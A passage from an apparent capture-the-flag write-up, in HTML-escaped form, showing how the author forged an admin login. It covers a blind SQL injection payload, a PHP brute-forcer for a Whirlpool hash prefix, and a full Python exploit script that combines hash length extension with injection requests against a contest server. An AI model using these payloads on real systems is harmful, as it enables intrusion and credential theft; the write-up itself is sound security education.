&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;users&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;select&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;log&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;where&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;like&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'admin'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;order&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;by&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;time&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;limit&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;like&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'1%'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'admin'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'nope'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;…and so on. We eventually see that the first six characters of the hex-encoded
result are “138300”.&lt;/p&gt;

&lt;h2 id=&quot;putting-it-all-together&quot;&gt;Putting it all together&lt;/h2&gt;

&lt;p&gt;Now that we have the inner salt and three bytes that we need to match in the
result of a Whirlpool hash, we simply need to brute-force a value &lt;code class=&quot;highlighter-rouge&quot;&gt;$password&lt;/code&gt;
such that:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;substr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;hash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'whirlpool'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$innersalt&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$password&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'138300'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;This is trivial to do, even on a slow machine. I used the following PHP script:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;generateRandomString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$length&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$characters&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$charactersLength&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;strlen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$characters&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$randomString&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;''&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$randomString&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$characters&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;rand&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$charactersLength&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)];&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$randomString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$secret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'9KmX4h41bsdOtaew'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;while&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$s&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;generateRandomString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;substr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;hash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'whirlpool'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$secret&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'138300'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;This didn’t take much time to run, and gave me quite a few values that I could
use. Any of these values works as the password for the &lt;code class=&quot;highlighter-rouge&quot;&gt;admin&lt;/code&gt; user in the
application. We just need to login, and then the flag is set as a cookie:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;hxp{if_y0u_d0_it_thr33_t1mes_itz_secure_again}
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;h2 id=&quot;exploit-script-to-leak-salt-and-pre-hash&quot;&gt;Exploit script (to leak salt and pre-hash)&lt;/h2&gt;

&lt;div class=&quot;language-py highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;codecs&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;hashpumpy&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;random&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;requests&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;urllib.parse&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;OUR_USER&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;nimda&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;OUR_PASS&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;admin&quot;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;requests&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Session&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;post&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://130.211.200.153/?do=login&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;dict&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;OUR_USER&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;OUR_PASS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;

&lt;span class=&quot;nb&quot;&gt;hash&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cookies&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;h&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;urllib&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;parse&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;unquote&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cookies&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;u&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;check_test_data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;what&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;newname&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;if({test}, 'admin', 'nope')&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;test&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;what&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&amp;amp;name={} -- &quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;newname&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;run_exploit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;adata&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;new_hash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;new_data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hashpumpy&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hashpump&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;hash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;adata&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;33&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;new_data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;urllib&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;parse&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;quote&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new_data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cookies&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;clear&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cookies&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;h&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;new_hash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cookies&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;u&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;new_data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;res&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://130.211.200.153/?do=flag&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;text&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;._.&quot;&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;res&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;leak&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data_getter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;possiblec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;start&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;current&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;start&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;run_exploit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data_getter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;current&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)):&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;possiblec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;possible&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;current&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;run_exploit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data_getter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;possible&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)):&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;current&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;failed!&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;False&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;current&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;current&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;##### leak logged password attempts&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;get_log_data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;what&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;logpw&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;(select hex(password) from log where (name like 'admin') order by time limit 1)&quot;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;test&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;{password} like '{what}'&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;logpw&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;what&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;what&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;check_test_data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;test&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;###### leak salt&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;get_salt_data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;what&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;salt&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;(select innersalt from users where (name &amp;lt;&amp;gt; 'admin') is false)&quot;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;test&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;{salt} like binary '{what}'&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;salt&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;salt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;what&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;what&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;check_test_data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;test&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;hashmatch&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;leak&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_log_data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;0123456789abcdef&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
